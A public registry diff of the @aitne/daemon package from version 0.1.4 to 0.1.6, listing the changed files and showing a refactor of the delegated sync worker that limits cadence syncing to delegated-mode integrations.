@aitne/daemon 0.1.4 → 0.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (268) hide show
  1. package/dist/adapters/notification-manager.d.ts +12 -0
  2. package/dist/adapters/notification-manager.d.ts.map +1 -1
  3. package/dist/adapters/notification-manager.js +39 -1
  4. package/dist/adapters/notification-manager.js.map +1 -1
  5. package/dist/api/routes/agent.d.ts.map +1 -1
  6. package/dist/api/routes/agent.js +7 -0
  7. package/dist/api/routes/agent.js.map +1 -1
  8. package/dist/api/routes/commands.d.ts.map +1 -1
  9. package/dist/api/routes/commands.js +16 -13
  10. package/dist/api/routes/commands.js.map +1 -1
  11. package/dist/api/routes/context.d.ts.map +1 -1
  12. package/dist/api/routes/context.js +13 -2
  13. package/dist/api/routes/context.js.map +1 -1
  14. package/dist/api/routes/dashboard.d.ts.map +1 -1
  15. package/dist/api/routes/dashboard.js +28 -0
  16. package/dist/api/routes/dashboard.js.map +1 -1
  17. package/dist/api/routes/fs.d.ts +23 -0
  18. package/dist/api/routes/fs.d.ts.map +1 -0
  19. package/dist/api/routes/fs.js +156 -0
  20. package/dist/api/routes/fs.js.map +1 -0
  21. package/dist/api/routes/fs.logic.d.ts +62 -0
  22. package/dist/api/routes/fs.logic.d.ts.map +1 -0
  23. package/dist/api/routes/fs.logic.js +137 -0
  24. package/dist/api/routes/fs.logic.js.map +1 -0
  25. package/dist/api/routes/health.d.ts.map +1 -1
  26. package/dist/api/routes/health.js +4 -2
  27. package/dist/api/routes/health.js.map +1 -1
  28. package/dist/api/routes/integrations.d.ts.map +1 -1
  29. package/dist/api/routes/integrations.js +8 -6
  30. package/dist/api/routes/integrations.js.map +1 -1
  31. package/dist/api/routes/metrics.d.ts +1 -0
  32. package/dist/api/routes/metrics.d.ts.map +1 -1
  33. package/dist/api/routes/metrics.js +24 -0
  34. package/dist/api/routes/metrics.js.map +1 -1
  35. package/dist/api/routes/observations.d.ts.map +1 -1
  36. package/dist/api/routes/observations.js +538 -25
  37. package/dist/api/routes/observations.js.map +1 -1
  38. package/dist/api/routes/skills.d.ts +9 -1
  39. package/dist/api/routes/skills.d.ts.map +1 -1
  40. package/dist/api/routes/skills.js +38 -16
  41. package/dist/api/routes/skills.js.map +1 -1
  42. package/dist/api/routes/wiki.d.ts +4 -0
  43. package/dist/api/routes/wiki.d.ts.map +1 -0
  44. package/dist/api/routes/wiki.js +1075 -0
  45. package/dist/api/routes/wiki.js.map +1 -0
  46. package/dist/api/server.d.ts +13 -0
  47. package/dist/api/server.d.ts.map +1 -1
  48. package/dist/api/server.js +27 -1
  49. package/dist/api/server.js.map +1 -1
  50. package/dist/config.d.ts.map +1 -1
  51. package/dist/config.js +26 -0
  52. package/dist/config.js.map +1 -1
  53. package/dist/core/agent-core.d.ts +25 -0
  54. package/dist/core/agent-core.d.ts.map +1 -1
  55. package/dist/core/agent-core.js.map +1 -1
  56. package/dist/core/backends/backend-router.d.ts +5 -1
  57. package/dist/core/backends/backend-router.d.ts.map +1 -1
  58. package/dist/core/backends/backend-router.js +10 -1
  59. package/dist/core/backends/backend-router.js.map +1 -1
  60. package/dist/core/backends/claude-code-core.d.ts.map +1 -1
  61. package/dist/core/backends/claude-code-core.js +62 -4
  62. package/dist/core/backends/claude-code-core.js.map +1 -1
  63. package/dist/core/backends/claude-tool-collection.d.ts +1 -1
  64. package/dist/core/backends/claude-tool-collection.d.ts.map +1 -1
  65. package/dist/core/backends/claude-tool-collection.js +327 -65
  66. package/dist/core/backends/claude-tool-collection.js.map +1 -1
  67. package/dist/core/backends/codex-core.d.ts.map +1 -1
  68. package/dist/core/backends/codex-core.js +36 -0
  69. package/dist/core/backends/codex-core.js.map +1 -1
  70. package/dist/core/backends/gemini-cli-core.d.ts +24 -5
  71. package/dist/core/backends/gemini-cli-core.d.ts.map +1 -1
  72. package/dist/core/backends/gemini-cli-core.js +62 -30
  73. package/dist/core/backends/gemini-cli-core.js.map +1 -1
  74. package/dist/core/backends/plan-presets.d.ts +3 -1
  75. package/dist/core/backends/plan-presets.d.ts.map +1 -1
  76. package/dist/core/backends/plan-presets.js +42 -2
  77. package/dist/core/backends/plan-presets.js.map +1 -1
  78. package/dist/core/bang-commands/commands-help.d.ts +5 -0
  79. package/dist/core/bang-commands/commands-help.d.ts.map +1 -0
  80. package/dist/core/bang-commands/commands-help.js +69 -0
  81. package/dist/core/bang-commands/commands-help.js.map +1 -0
  82. package/dist/core/bang-commands/commands-wiki.d.ts +75 -0
  83. package/dist/core/bang-commands/commands-wiki.d.ts.map +1 -0
  84. package/dist/core/bang-commands/commands-wiki.js +574 -0
  85. package/dist/core/bang-commands/commands-wiki.js.map +1 -0
  86. package/dist/core/bang-commands/index.d.ts +4 -2
  87. package/dist/core/bang-commands/index.d.ts.map +1 -1
  88. package/dist/core/bang-commands/index.js +15 -1
  89. package/dist/core/bang-commands/index.js.map +1 -1
  90. package/dist/core/bang-commands/registry.d.ts +47 -4
  91. package/dist/core/bang-commands/registry.d.ts.map +1 -1
  92. package/dist/core/bang-commands/registry.js +85 -15
  93. package/dist/core/bang-commands/registry.js.map +1 -1
  94. package/dist/core/context-builder.d.ts +17 -0
  95. package/dist/core/context-builder.d.ts.map +1 -1
  96. package/dist/core/context-builder.js +64 -6
  97. package/dist/core/context-builder.js.map +1 -1
  98. package/dist/core/daemon-api-cli.d.ts.map +1 -1
  99. package/dist/core/daemon-api-cli.js +50 -2
  100. package/dist/core/daemon-api-cli.js.map +1 -1
  101. package/dist/core/dispatcher-message-handler.d.ts.map +1 -1
  102. package/dist/core/dispatcher-message-handler.js +10 -0
  103. package/dist/core/dispatcher-message-handler.js.map +1 -1
  104. package/dist/core/dispatcher-morning-routine.d.ts.map +1 -1
  105. package/dist/core/dispatcher-morning-routine.js +17 -2
  106. package/dist/core/dispatcher-morning-routine.js.map +1 -1
  107. package/dist/core/dispatcher-result-processor.d.ts +23 -0
  108. package/dist/core/dispatcher-result-processor.d.ts.map +1 -1
  109. package/dist/core/dispatcher-result-processor.js +124 -5
  110. package/dist/core/dispatcher-result-processor.js.map +1 -1
  111. package/dist/core/dispatcher-scheduled-tasks.d.ts.map +1 -1
  112. package/dist/core/dispatcher-scheduled-tasks.js +114 -80
  113. package/dist/core/dispatcher-scheduled-tasks.js.map +1 -1
  114. package/dist/core/dispatcher-types.d.ts +116 -1
  115. package/dist/core/dispatcher-types.d.ts.map +1 -1
  116. package/dist/core/dispatcher-types.js.map +1 -1
  117. package/dist/core/dispatcher.d.ts +36 -0
  118. package/dist/core/dispatcher.d.ts.map +1 -1
  119. package/dist/core/dispatcher.js +94 -1
  120. package/dist/core/dispatcher.js.map +1 -1
  121. package/dist/core/integration-lifecycle.d.ts.map +1 -1
  122. package/dist/core/integration-lifecycle.js +6 -8
  123. package/dist/core/integration-lifecycle.js.map +1 -1
  124. package/dist/core/metrics.d.ts +127 -0
  125. package/dist/core/metrics.d.ts.map +1 -1
  126. package/dist/core/metrics.js +256 -1
  127. package/dist/core/metrics.js.map +1 -1
  128. package/dist/core/prompts.d.ts +2 -1
  129. package/dist/core/prompts.d.ts.map +1 -1
  130. package/dist/core/prompts.js +40 -0
  131. package/dist/core/prompts.js.map +1 -1
  132. package/dist/core/roadmap-validate.js +13 -1
  133. package/dist/core/roadmap-validate.js.map +1 -1
  134. package/dist/core/routine-acquisition-plan.d.ts +51 -0
  135. package/dist/core/routine-acquisition-plan.d.ts.map +1 -1
  136. package/dist/core/routine-acquisition-plan.js +111 -12
  137. package/dist/core/routine-acquisition-plan.js.map +1 -1
  138. package/dist/core/routine-fetch-window-retry.d.ts +109 -0
  139. package/dist/core/routine-fetch-window-retry.d.ts.map +1 -0
  140. package/dist/core/routine-fetch-window-retry.js +210 -0
  141. package/dist/core/routine-fetch-window-retry.js.map +1 -0
  142. package/dist/core/routine-fetch-window-runner.d.ts +258 -32
  143. package/dist/core/routine-fetch-window-runner.d.ts.map +1 -1
  144. package/dist/core/routine-fetch-window-runner.js +1115 -185
  145. package/dist/core/routine-fetch-window-runner.js.map +1 -1
  146. package/dist/core/routine-windows.d.ts +19 -4
  147. package/dist/core/routine-windows.d.ts.map +1 -1
  148. package/dist/core/routine-windows.js +47 -0
  149. package/dist/core/routine-windows.js.map +1 -1
  150. package/dist/core/scheduler.d.ts +50 -2
  151. package/dist/core/scheduler.d.ts.map +1 -1
  152. package/dist/core/scheduler.js +88 -7
  153. package/dist/core/scheduler.js.map +1 -1
  154. package/dist/core/skill-curation/declarations.d.ts.map +1 -1
  155. package/dist/core/skill-curation/declarations.js +11 -12
  156. package/dist/core/skill-curation/declarations.js.map +1 -1
  157. package/dist/core/skill-source-paths.d.ts +14 -0
  158. package/dist/core/skill-source-paths.d.ts.map +1 -0
  159. package/dist/core/skill-source-paths.js +82 -0
  160. package/dist/core/skill-source-paths.js.map +1 -0
  161. package/dist/core/skills-compiler.d.ts +18 -0
  162. package/dist/core/skills-compiler.d.ts.map +1 -1
  163. package/dist/core/skills-compiler.js +65 -18
  164. package/dist/core/skills-compiler.js.map +1 -1
  165. package/dist/core/skills-manifest.d.ts.map +1 -1
  166. package/dist/core/skills-manifest.js +46 -0
  167. package/dist/core/skills-manifest.js.map +1 -1
  168. package/dist/core/system-reset.d.ts +25 -0
  169. package/dist/core/system-reset.d.ts.map +1 -1
  170. package/dist/core/system-reset.js +47 -0
  171. package/dist/core/system-reset.js.map +1 -1
  172. package/dist/core/wiki/approval-queue.d.ts +31 -0
  173. package/dist/core/wiki/approval-queue.d.ts.map +1 -0
  174. package/dist/core/wiki/approval-queue.js +44 -0
  175. package/dist/core/wiki/approval-queue.js.map +1 -0
  176. package/dist/core/wiki/bridge.d.ts +74 -0
  177. package/dist/core/wiki/bridge.d.ts.map +1 -0
  178. package/dist/core/wiki/bridge.js +405 -0
  179. package/dist/core/wiki/bridge.js.map +1 -0
  180. package/dist/core/wiki/compile-lock.d.ts +42 -0
  181. package/dist/core/wiki/compile-lock.d.ts.map +1 -0
  182. package/dist/core/wiki/compile-lock.js +55 -0
  183. package/dist/core/wiki/compile-lock.js.map +1 -0
  184. package/dist/core/wiki/compile-preview.d.ts +8 -0
  185. package/dist/core/wiki/compile-preview.d.ts.map +1 -0
  186. package/dist/core/wiki/compile-preview.js +200 -0
  187. package/dist/core/wiki/compile-preview.js.map +1 -0
  188. package/dist/core/wiki/cost-estimate.d.ts +30 -0
  189. package/dist/core/wiki/cost-estimate.d.ts.map +1 -0
  190. package/dist/core/wiki/cost-estimate.js +243 -0
  191. package/dist/core/wiki/cost-estimate.js.map +1 -0
  192. package/dist/core/wiki/dispatcher.d.ts +48 -0
  193. package/dist/core/wiki/dispatcher.d.ts.map +1 -0
  194. package/dist/core/wiki/dispatcher.js +92 -0
  195. package/dist/core/wiki/dispatcher.js.map +1 -0
  196. package/dist/core/wiki/git-precompile.d.ts +86 -0
  197. package/dist/core/wiki/git-precompile.d.ts.map +1 -0
  198. package/dist/core/wiki/git-precompile.js +96 -0
  199. package/dist/core/wiki/git-precompile.js.map +1 -0
  200. package/dist/core/wiki/import-migrate.d.ts +38 -0
  201. package/dist/core/wiki/import-migrate.d.ts.map +1 -0
  202. package/dist/core/wiki/import-migrate.js +310 -0
  203. package/dist/core/wiki/import-migrate.js.map +1 -0
  204. package/dist/core/wiki/import-probe.d.ts +76 -0
  205. package/dist/core/wiki/import-probe.d.ts.map +1 -0
  206. package/dist/core/wiki/import-probe.js +245 -0
  207. package/dist/core/wiki/import-probe.js.map +1 -0
  208. package/dist/core/wiki/index-cache.d.ts +39 -0
  209. package/dist/core/wiki/index-cache.d.ts.map +1 -0
  210. package/dist/core/wiki/index-cache.js +152 -0
  211. package/dist/core/wiki/index-cache.js.map +1 -0
  212. package/dist/core/wiki/multi-url-dispatch.d.ts +52 -0
  213. package/dist/core/wiki/multi-url-dispatch.d.ts.map +1 -0
  214. package/dist/core/wiki/multi-url-dispatch.js +72 -0
  215. package/dist/core/wiki/multi-url-dispatch.js.map +1 -0
  216. package/dist/core/wiki/wiki-fts.d.ts +75 -0
  217. package/dist/core/wiki/wiki-fts.d.ts.map +1 -0
  218. package/dist/core/wiki/wiki-fts.js +265 -0
  219. package/dist/core/wiki/wiki-fts.js.map +1 -0
  220. package/dist/core/wiki/workspaces.d.ts +101 -0
  221. package/dist/core/wiki/workspaces.d.ts.map +1 -0
  222. package/dist/core/wiki/workspaces.js +352 -0
  223. package/dist/core/wiki/workspaces.js.map +1 -0
  224. package/dist/core/wiki/write-strategy.d.ts +70 -0
  225. package/dist/core/wiki/write-strategy.d.ts.map +1 -0
  226. package/dist/core/wiki/write-strategy.js +112 -0
  227. package/dist/core/wiki/write-strategy.js.map +1 -0
  228. package/dist/core/workdir.d.ts +8 -1
  229. package/dist/core/workdir.d.ts.map +1 -1
  230. package/dist/core/workdir.js +4 -1
  231. package/dist/core/workdir.js.map +1 -1
  232. package/dist/db/schema.d.ts.map +1 -1
  233. package/dist/db/schema.js +122 -0
  234. package/dist/db/schema.js.map +1 -1
  235. package/dist/db/wiki-store.d.ts +3 -0
  236. package/dist/db/wiki-store.d.ts.map +1 -0
  237. package/dist/db/wiki-store.js +7 -0
  238. package/dist/db/wiki-store.js.map +1 -0
  239. package/dist/index.js +80 -4
  240. package/dist/index.js.map +1 -1
  241. package/dist/messaging/url-extract.d.ts +8 -0
  242. package/dist/messaging/url-extract.d.ts.map +1 -0
  243. package/dist/messaging/url-extract.js +41 -0
  244. package/dist/messaging/url-extract.js.map +1 -0
  245. package/dist/observers/delegated-sync-worker.d.ts +33 -25
  246. package/dist/observers/delegated-sync-worker.d.ts.map +1 -1
  247. package/dist/observers/delegated-sync-worker.js +38 -31
  248. package/dist/observers/delegated-sync-worker.js.map +1 -1
  249. package/dist/observers/imminent-event-scheduler.d.ts +20 -7
  250. package/dist/observers/imminent-event-scheduler.d.ts.map +1 -1
  251. package/dist/observers/imminent-event-scheduler.js +134 -29
  252. package/dist/observers/imminent-event-scheduler.js.map +1 -1
  253. package/dist/safety/always-disallowed.d.ts +65 -0
  254. package/dist/safety/always-disallowed.d.ts.map +1 -1
  255. package/dist/safety/always-disallowed.js +106 -10
  256. package/dist/safety/always-disallowed.js.map +1 -1
  257. package/dist/safety/audit.d.ts +46 -1
  258. package/dist/safety/audit.d.ts.map +1 -1
  259. package/dist/safety/audit.js +79 -16
  260. package/dist/safety/audit.js.map +1 -1
  261. package/dist/safety/risk-classifier.d.ts.map +1 -1
  262. package/dist/safety/risk-classifier.js +29 -0
  263. package/dist/safety/risk-classifier.js.map +1 -1
  264. package/dist/settings/runtime-settings.d.ts +12 -1
  265. package/dist/settings/runtime-settings.d.ts.map +1 -1
  266. package/dist/settings/runtime-settings.js +59 -1
  267. package/dist/settings/runtime-settings.js.map +1 -1
  268. package/package.json +2 -2
@@ -170,38 +170,45 @@ const DEFAULT_CADENCES = [
170
170
  ];
171
171
  const DEFAULT_CADENCE_INTEGRATIONS = new Set(DEFAULT_CADENCES.map((def) => def.integration));
172
172
  /**
173
- * INTEGRATION_NATIVE_MODE_DESIGN.md §19.6 the worker stand-up predicate.
174
- * True when at least one cadence-eligible integration is in a mode that
175
- * runs the worker (`delegated` or `native`) and the matching per-mode
176
- * master kill switch is not explicitly false.
173
+ * Worker stand-up predicate. True when at least one cadence-eligible
174
+ * integration is in `delegated` mode with its master kill switch on.
175
+ *
176
+ * Native mode is intentionally excluded — per
177
+ * `docs/design/appendices/native-integration-mode.md:263-266` the worker
178
+ * "only iterates `mode === "delegated"`"; native observations come from
179
+ * the in-turn `routine.fetch_window` pre-pass POSTing to
180
+ * `/api/observations`, not from this worker. The §3.3 invariant
181
+ * ("native MUST NOT call the daemon proxy") is enforced defensively by
182
+ * `DelegatedBackendInvoker.resolvePreconditions`; entering this worker
183
+ * for a native row would just produce a failed `integration_drift_sync`
184
+ * audit row every hourly tick.
177
185
  *
178
186
  * Used by:
179
187
  * - bootstrap (`packages/daemon/src/index.ts`) to decide whether to
180
188
  * register the worker on startup;
181
189
  * - `applyIntegrationModeChange` (`integration-lifecycle.ts`) to
182
190
  * stand the worker up / tear it down as integrations flip in and out
183
- * of cadence-eligible modes.
191
+ * of delegated mode.
184
192
  */
185
- export function hasActiveCadenceSyncIntegration(db, override) {
193
+ export function hasActiveDelegatedSyncIntegration(db, override) {
186
194
  const integrations = readIntegrations(db);
187
195
  if (override)
188
196
  integrations[override.key] = override.state;
189
197
  return Object.entries(integrations).some(([key, state]) => DEFAULT_CADENCE_INTEGRATIONS.has(key)
190
- && ((state.mode === "delegated" && state.delegatedSyncEnabled !== false)
191
- || (state.mode === "native" && state.nativeSyncEnabled !== false)));
198
+ && state.mode === "delegated"
199
+ && state.delegatedSyncEnabled !== false);
192
200
  }
193
201
  /**
194
- * @deprecated Use {@link hasActiveCadenceSyncIntegration} the symbol
195
- * widened to cover both delegated and native modes in §19.6.
196
- * Kept as a one-cycle alias so external callers don't break.
197
- */
198
- export const hasActiveDelegatedSyncIntegration = hasActiveCadenceSyncIntegration;
199
- /**
200
- * §19.4 resolve which backend the worker should invoke for a cadence,
201
- * given the integration's current state. Returns `null` when the
202
- * integration is not in a cadence-eligible mode or when its master kill
203
- * switch is explicitly false (per-mode). The cadence-level `cadenceEnabled`
204
- * opt-in is checked separately at the worker's tick gate.
202
+ * Resolve which backend the worker should invoke for a cadence, given
203
+ * the integration's current state. Returns `null` when the integration
204
+ * is not in delegated mode, when its master kill switch is explicitly
205
+ * false, or when its `delegatedBackend` slot is empty. The cadence-level
206
+ * `cadenceEnabled` opt-in is checked separately at the worker's tick gate.
207
+ *
208
+ * Native rows always return null see `hasActiveDelegatedSyncIntegration`
209
+ * for the rationale. `getStatus` still surfaces the row with
210
+ * `mode='native', backend=null` so the dashboard can show "Native mode
211
+ * cadence not used" alongside the catalog entry.
205
212
  */
206
213
  function backendForCadence(state) {
207
214
  if (state.mode === "delegated"
@@ -209,11 +216,6 @@ function backendForCadence(state) {
209
216
  && state.delegatedBackend) {
210
217
  return state.delegatedBackend;
211
218
  }
212
- if (state.mode === "native"
213
- && state.nativeSyncEnabled !== false
214
- && state.nativeBackend) {
215
- return state.nativeBackend;
216
- }
217
219
  return null;
218
220
  }
219
221
  export class DelegatedSyncWorker {
@@ -290,7 +292,7 @@ export class DelegatedSyncWorker {
290
292
  const ttlContractViolations = [];
291
293
  let lastSuccessAt = null;
292
294
  let anyTripped = false;
293
- // §19.6 — read integration states once per status snapshot so each
295
+ // Read integration states once per status snapshot so each
294
296
  // cadence row can surface the current mode + resolved backend.
295
297
  const integrationStates = readIntegrations(this.options.db);
296
298
  for (const def of this.cadences) {
@@ -359,6 +361,10 @@ export class DelegatedSyncWorker {
359
361
  * is NOT `true`. Cadences the operator opted in run on their own
360
362
  * user-set interval via the regular tick loop and are intentionally
361
363
  * skipped here so we don't spend tokens twice for the same partition.
364
+ * Native rows are skipped by `backendForCadence` returning null — their
365
+ * observations come from the in-turn `routine.fetch_window` pre-pass
366
+ * instead, see `docs/design/appendices/native-integration-mode.md`
367
+ * §"Polling, observers, and the hourly-check threshold".
362
368
  *
363
369
  * Why this exists: when every cadence is disabled (the post-Phase-9
364
370
  * default), Gmail / Notion observations would otherwise dry up entirely
@@ -440,12 +446,13 @@ export class DelegatedSyncWorker {
440
446
  return { ok: false, error: "tick_in_progress" };
441
447
  const integrations = readIntegrations(this.options.db);
442
448
  const integrationState = integrations[def.integration];
443
- // §19.6 — kill-switch is checked before the resolver so its dedicated
444
- // error code (`integration_disabled`) is surfaced regardless of mode.
445
- // `backendForCadence` would otherwise collapse a kill-switched row
446
- // into the generic `integration_not_synchronizable` bucket.
447
- if ((integrationState.mode === "delegated" && integrationState.delegatedSyncEnabled === false)
448
- || (integrationState.mode === "native" && integrationState.nativeSyncEnabled === false)) {
449
+ // Kill-switch is checked before the resolver so its dedicated error
450
+ // code (`integration_disabled`) is surfaced; `backendForCadence`
451
+ // would otherwise collapse a kill-switched row into the generic
452
+ // `integration_not_synchronizable` bucket. Native rows fall through
453
+ // to that generic code by design — the worker has no role in native
454
+ // mode (see `hasActiveDelegatedSyncIntegration`).
455
+ if (integrationState.mode === "delegated" && integrationState.delegatedSyncEnabled === false) {
449
456
  return { ok: false, error: "integration_disabled" };
450
457
  }
451
458
  const backend = backendForCadence(integrationState);
@@ -1 +1 @@
1
- {"version":3,"file":"delegated-sync-worker.js","sourceRoot":"","sources":["../../src/observers/delegated-sync-worker.ts"],"names":[],"mappings":"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